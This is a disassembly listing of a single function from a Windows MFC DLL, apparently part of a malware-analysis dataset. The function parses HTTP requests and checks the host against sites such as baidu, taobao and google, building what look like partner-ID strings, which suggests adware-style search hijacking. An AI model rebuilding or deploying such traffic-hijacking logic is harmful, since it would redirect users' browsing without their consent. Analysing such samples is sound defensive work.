Function at 0x10003b80
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x10005ae0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
mov eax, dword [esp + 0x20]
push ebx
push esi
push edi
mov edi, ecx
push eax
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::CString_2
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x24], 0
push ecx
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 1
call fcn.10005236
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], 2
call fcn.10005236
lea ecx, [esp + 0x14]
mov byte [esp + 0x24], 3
call fcn.10005236
mov bl, 4
lea ecx, [esp + 0x2c]
mov byte [esp + 0x24], bl
call sub.MFC42.DLL_CString::MakeLower
push str.http:__
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CString::Find
mov esi, eax
lea ecx, [esp + 0x2c]
add esi, 7
push esi
push 0x10007658
call sub.MFC42.DLL_CString::Find_1
sub eax, esi
lea edx, [esp + 0x30]
push eax
push esi
push edx
lea ecx, [esp + 0x38]
call sub.MFC42.DLL_CString::Mid
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 5
call fcn.1000523c
lea ecx, [esp + 0x30]
mov byte [esp + 0x24], bl
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.MSVCRT.dll__mbscmp]
push str.www.sogou.com
push eax
call esi
add esp, 8
test eax, eax
jne 0x10003ca1
push 0x100070e8
push ecx
lea edx, [esp + 0x34]
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
call sub.MFC42.DLL_CString::CString_1
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.100022a0
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 6
call fcn.1000523c
mov byte [esp + 0x24], bl
lea ecx, [esp + 0x30]
jmp 0x10003db6
mov ecx, dword [esp + 0xc]
push str.www.tao123.com
push ecx
call esi
add esp, 8
test eax, eax
jne 0x10003cc7
push str._4462
lea ecx, [esp + 0x14]
call fcn.10005218
jmp 0x10003dbb
mov edx, dword [esp + 0xc]
push str.www.baidu.com
push edx
call esi
add esp, 8
test eax, eax
jne 0x10003d18
push 0x10007208
push ecx
lea eax, [esp + 0x34]
mov ecx, esp
mov dword [esp + 0x38], esp
push eax
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x38]
push ecx
mov ecx, edi
call fcn.100022a0
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 7
call fcn.1000523c
mov byte [esp + 0x24], bl
lea ecx, [esp + 0x30]
jmp 0x10003db6
mov edx, dword [esp + 0xc]
push str.www.taobao.com
push edx
call esi
add esp, 8
test eax, eax
jne 0x10003d66
push 0x100070e8
push ecx
lea eax, [esp + 0x34]
mov ecx, esp
mov dword [esp + 0x38], esp
push eax
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x38]
push ecx
mov ecx, edi
call fcn.100022a0
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 8
call fcn.1000523c
mov byte [esp + 0x24], bl
lea ecx, [esp + 0x30]
jmp 0x10003db6
mov edx, dword [esp + 0xc]
push str.www.google.com
push edx
call esi
add esp, 8
test eax, eax
jne 0x10003ecc
push str.client
push ecx
lea eax, [esp + 0x34]
mov ecx, esp
mov dword [esp + 0x38], esp
push eax
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x38]
push ecx
mov ecx, edi
call fcn.100022a0
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 9
call fcn.1000523c
mov byte [esp + 0x24], bl
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::MakeLower
push str.host:
push ecx
lea edx, [esp + 0x20]
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
call sub.MFC42.DLL_CString::CString_1
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.100029f0
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], 0xa
call fcn.1000523c
lea ecx, [esp + 0x30]
mov byte [esp + 0x24], bl
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0xc]
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Find
cmp eax, 1
jl 0x10003ecc
push str.get
push ecx
lea edx, [esp + 0x20]
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
call sub.MFC42.DLL_CString::CString_1
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.100029f0
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], 0xb
call fcn.1000523c
lea ecx, [esp + 0x30]
mov byte [esp + 0x24], bl
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x10]
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Find
cmp eax, 1
mov byte [esp + 0x24], 3
lea ecx, [esp + 0x14]
jl 0x10003ed5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov byte [esp + 0x24], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov dword [esp + 0x24], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, 1
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0x1c
ret 0xc
mov byte [esp + 0x24], 3
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov byte [esp + 0x24], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov dword [esp + 0x24], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
xor eax, eax
mov dword fs:[0], ecx
pop ebx
add esp, 0x1c
ret 0xc